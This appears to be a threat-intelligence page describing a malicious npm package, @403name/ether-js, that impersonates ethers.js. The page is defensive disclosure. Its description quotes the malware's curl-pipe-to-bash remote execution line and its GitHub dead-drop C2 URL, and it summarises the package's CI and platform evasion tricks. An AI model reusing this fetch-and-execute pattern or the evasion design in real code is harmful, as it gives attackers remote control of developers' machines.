THREATPKG
SYNC STALE

Supply-chain threat intelligence

Incident detail

criticalnpm·malware·osv

Malicious code in @403name/ether-js (npm)

@403name/ether-js

Risk score

92

AI summary

Indexed incident for @403name/ether-js (npm).

Description

On require('@403name/ether-js'), index.js runs an IIFE that targets macOS only (returns early on non-darwin and when CI/GITHUB_ACTIONS env vars are set), writes a one-shot marker at ~/.cache/.nyx-npm/e, waits a randomized 30-90s, then fetches a C2 base URL from https://raw.githubusercontent.com/nyx-deploy/config/main/c2.txt. It beacons the installer's USER env var and os.hostname() to /api/clickfix-callback via curl, then spawns '/bin/sh -c' with curl -sSfL <c2>/api/payload/ | /bin/bash (detached, disowned) — full remote code execution on the developer's machine under attacker control. A Russian-language comment in the source explicitly states the design avoids lifecycle scripts to be 'invisible to npm audit'. The package name and description impersonate the popular ethers.js library ('Compatible with ethers.js API patterns for easy migration'), and the shipped keccak256 is a stub returning random hex rather than a real hash — confirming the package is a lure, not a functional library. The evasion pattern (platform gate, CI gate, randomized delay, one-shot marker) combined with the two-stage dead-drop-to-C2 fetch-and-exec is conclusive malicious intent.

Technical details

Affected versions

=1.0.1=1.0.0

Indicators

  • affected version=1.0.175%
  • affected version=1.0.075%

Timeline

  1. Advisory published
  2. Indexed by ThreatPkg

Related incidents